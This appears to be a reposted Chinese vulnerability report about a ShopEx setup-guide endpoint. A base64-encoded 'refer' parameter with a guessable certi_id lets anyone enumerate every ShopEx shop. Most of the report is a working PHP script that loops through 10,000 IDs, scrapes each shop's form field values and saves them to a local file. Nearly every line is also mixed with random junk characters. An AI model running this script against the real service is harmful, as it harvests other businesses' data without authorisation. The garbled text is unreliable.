|
简要描述:
0 |. J' ?4 x+ _0 A, |, aShopEx某接口缺陷,可遍历所有网站
5 D; |" D% Y7 N2 X/ E; M详细说明:" g4 c; |, G" a g+ `
问题出现在shopex 网店使用向导页面
* e# X0 h5 B8 m4 k1 Z, W0 v2 l, v' C T# J* ?
9 a: Z8 c2 ^, H
& _! z9 K7 N1 Y% R7 g7 |2 @http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
0 z, o3 e, d# r& L: b @; l& E2 [3 N" O0 P* J" o) N; I/ `
% e$ X' S q) Q. I1 O4 H
7 X) p$ U' Z6 ` a, C( zrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
5 a a7 t, M3 Y7 l& O+ u U
. k u4 \# ^& ]1 t
1 m- ^& ^4 e: H% a
$ p* t, o$ Y: ^) c7 j0 D1 s我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
) E7 Z8 q8 G( P, h, c4 q' T8 O* }- q/ n. G8 q8 p: W; s. @
* Y P: \ V0 k
' g4 x: m: i+ ^: s7 N8 V; \<?php
: p: [% Q" C3 w0 ?1 c3 n# H4 v
5 b0 b7 S% G, [% Z& ^9 Y i for ($i=1; $i < 10000; $i++) { //遍历
. f+ h, [7 O4 X$ v2 J/ V$ o- h* x- q, }" i6 u8 g9 p2 T/ X$ ?
ShowshopExD($i);
, {, t( d' R' l; R- ?9 A
/ V2 E$ m" w1 a" V8 e$ \ }
: }5 i- n/ f( R' {) q" Y( h |0 r' B, B8 R) I
function ShowshopExD($cid) {
0 w7 d2 I6 w3 Z9 e" R/ o5 J" O
. w; H- P& o+ S2 e+ h1 J $url='http://guide.ecos.shopex.cn/step2.php';. r8 _5 {6 s( R/ K
7 y: m; m9 I: g6 E' n& `2 B' G
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');9 ]6 |; M+ |- t$ u
5 |( ~ _0 Y# V& Y $url = $url.'?refer='.$refer;0 w6 G% m! S; a7 P# F2 h0 F
, v2 V% A0 y) V4 T. n
$ch = curl_init($url);
* V+ c. y6 P4 m/ C
) s8 y0 z2 K* n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
7 G1 ?: n1 n4 O2 J" p8 X
1 m' u* h$ E1 X) y; @ curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
4 k2 U0 N0 i9 Y4 }9 |" |
+ _$ s% s2 H* g( n9 @3 P $result = curl_exec($ch);
5 P* O9 q& M: ^" `5 `5 C, }, Q5 ], L
, ^9 i" |/ }% N4 f7 k) T $result = mb_convert_encoding($result, "gb2312", "UTF-8");1 t4 N9 \4 ?6 d* u# C# ^" ]
; y+ {! y7 u4 ]+ o9 M9 ?! ] if(strpos($result,$refer))8 L7 |. p# Y L$ f
6 V& F5 k+ X) p
{
6 G$ b: m) ]$ f8 V. E9 F9 f
9 N) d [$ i6 I& s. g2 l, j $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
5 O+ m- p4 U9 E4 c3 k- x- Z
# R! E% s9 R8 r0 ?5 O, ]& _ preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
- P" q* R% H" O* w6 t6 L8 t2 I5 z) V p! k
foreach ($value[1] as $key) {1 r% h8 c2 l+ E. Q
0 L |" E/ @4 I$ a2 e0 k preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
: ~6 K0 N- c& v3 N
, o8 v. J8 f$ Z i+ U echo $res[1][0].':'.$res[3][0]."\r\n";3 G, M0 p% r* g' M
: V7 S: w) W* {2 q* P: ]
$col =$res[1][0].':'.$res[3][0]."\r\n";
- `" n+ K9 F7 f9 v; d- @( \
. d0 r- _+ d0 f9 I: n; |7 w" I% f fwrite($fp, $col, strlen($col));
& q, A+ _" U0 l" x, q0 C
9 i, J6 q! g) F$ v8 q' w }
& n7 {3 u" q, _4 C# O9 H J' L; V4 s$ W4 l
echo '--------------------------------'."\r\n";
! I4 e* k" E4 |6 s: w
$ |0 H' H8 u/ p! G fclose($fp);
! N% A$ u2 k X% u8 M: ?0 Q. M
, W7 s4 b& H' [: Q, e }; ]2 G& {2 O+ m) j! X, ?
5 F" A4 _9 [) S5 w& c2 Y$ V! G flush();/ ]8 F* q$ j3 J5 y' ~$ V- ?
+ ^1 t Y2 F, S& Y- q) S3 V curl_close($ch);
: [# w8 d' \% S% {6 m" G9 `& b* q# A( b" i* `. g- S2 ^: v7 ]4 U
}
! F+ U6 u* V; e+ t x F3 O: f* N& E7 t# Y3 U
?>+ G/ ?, ~3 d# |& D7 F; U
漏洞证明:
' h4 U7 l1 e8 L: mhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
P' g2 O) M, {refer换成其他加密方式2 `, r$ O1 v* F
|
|